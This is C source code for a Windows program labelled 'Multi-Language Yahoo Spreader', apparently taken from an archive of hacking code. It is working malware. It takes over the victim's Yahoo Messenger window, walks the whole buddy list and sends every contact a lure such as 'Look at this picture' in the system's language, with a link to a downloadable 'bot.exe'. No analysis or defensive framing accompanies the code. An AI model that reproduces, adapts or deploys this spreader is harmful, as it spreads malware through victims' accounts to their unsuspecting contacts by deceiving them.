./c0de/c/mlys.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
#include <stdio.h>
#include <windows.h>
#include <commctrl.h>
 
/*
   By: OG
   Multi-Language Yahoo Spreader.
   Credits To: kurumi
*/
 
char *szWebLink = "http://www.google.com/bot.exe";
 
char *GetLanguage(char *szBuffer, unsigned int nSize)
{
   switch (GetSystemDefaultLangID())
   {
      case 0x040c: /* French */
         _snprintf(szBuffer, nSize, "regarder cette image %s", szWebLink);
         break;
 
      case 0x0407: /* German */
         _snprintf(szBuffer, nSize, "Schauen Sie dieses Bild an %s", szWebLink);
         break;
 
      case 0x040A: /* Spanish */
         _snprintf(szBuffer, nSize, "mire este retrato %s", szWebLink);
         break;
 
      case 0x0409: /* English */
         _snprintf(szBuffer, nSize, "Look at this picture %s", szWebLink);
         break;
 
      case 0x0410: /* Italian */
         _snprintf(szBuffer, nSize, "guardare quest'immagine %s", szWebLink);
         break;
 
      default: /* Default English */
         _snprintf(szBuffer, nSize, "Look at this picture %s", szWebLink);
         break;
   }
   return (szBuffer);
}
 
bool SendMessageToYahoo(char *szMessage)
{
   HWND hwndYahooWindow, hwndClass;
   HWND hwndMessage, hwndButton;
 
   if (!(hwndYahooWindow = FindWindow("YSearchMenuWndClass", NULL))) { return false; }
 
   if (IsWindow(hwndYahooWindow))
   {
      SendMessage(hwndYahooWindow, WM_COMMAND, 32891, 0);
 
      if (!(hwndClass = FindWindowEx(hwndYahooWindow, 0, "IMClass", NULL))) { return false; }
 
      if (IsWindow(hwndClass))
      {
         if (!(hwndMessage = FindWindowEx(hwndClass, 0, "YIMInputWindow", NULL))) { return false; }
 
         SendMessage(hwndMessage, WM_SETTEXT, 0, (LPARAM)szMessage);
         Sleep(100);
      }
 
      if (IsWindow(hwndClass))
      {
         if (!(hwndButton = FindWindowEx(hwndClass, 0, "Button", "&Send"))) { return false; }
 
         SendMessage(hwndButton, WM_LBUTTONDOWN, 0, 0);
         SendMessage(hwndButton, WM_LBUTTONUP, 0, 0);
         Sleep(50);
      }
   }
 
   if (IsWindow(hwndYahooWindow))
   {
      SendMessage(hwndYahooWindow, WM_CLOSE, 0, 0);
      return true;
   }
   return false;
}
 
unsigned int Yahoo(char *szMessage)
{
   HWND hwndYahooWindow, hwndWindow;
 
   if (!(hwndYahooWindow = FindWindow("YahooBuddyMain", NULL))) { return 0; }
 
   if (IsWindow(hwndYahooWindow))
   {
      SendMessage(hwndYahooWindow, WM_COMMAND, 32891, 0);
 
      if (!(hwndWindow = FindWindowEx(hwndYahooWindow, 0, "YTopWindow", NULL))) { return 0; }
 
      if (IsWindow(hwndWindow))
      {
         hwndWindow = FindWindowEx(hwndWindow, 0, "YTabListManager", NULL);
         hwndWindow = FindWindowEx(hwndWindow, 0, "ATL:0084FD68", NULL);
         hwndWindow = FindWindowEx(hwndWindow, 0, "SysListView32", NULL);
         if (!hwndWindow) { return 0; }
 
         if (IsWindow(hwndWindow))
         {
            for (int i = ListView_GetSelectionMark(hwndWindow); i >= 0; --i)
            {
               SendMessage(hwndWindow, WM_KEYDOWN, VK_UP, 0);
               SendMessage(hwndWindow, WM_KEYUP, VK_UP, 0);
            }
 
            for ( i = 0; i <= ListView_GetItemCount(hwndWindow); ++i )
            {
               SendMessage(hwndWindow, WM_KEYDOWN, VK_DOWN, 0);
               SendMessage(hwndWindow, WM_KEYUP, VK_DOWN, 0);
               SendMessage(hwndWindow, WM_KEYDOWN, VK_RETURN, 0);
               SendMessage(hwndWindow, WM_KEYUP, VK_RETURN, 0);
               SendMessageToYahoo(szMessage);
            }
         }
      }
   }
   return 0;
}
 
int main()
{
   char szMessage[256];
 
   if (GetLanguage(szMessage, sizeof(szMessage) - 1))
      Yahoo(szMessage);
 
   return 0;
} 

Back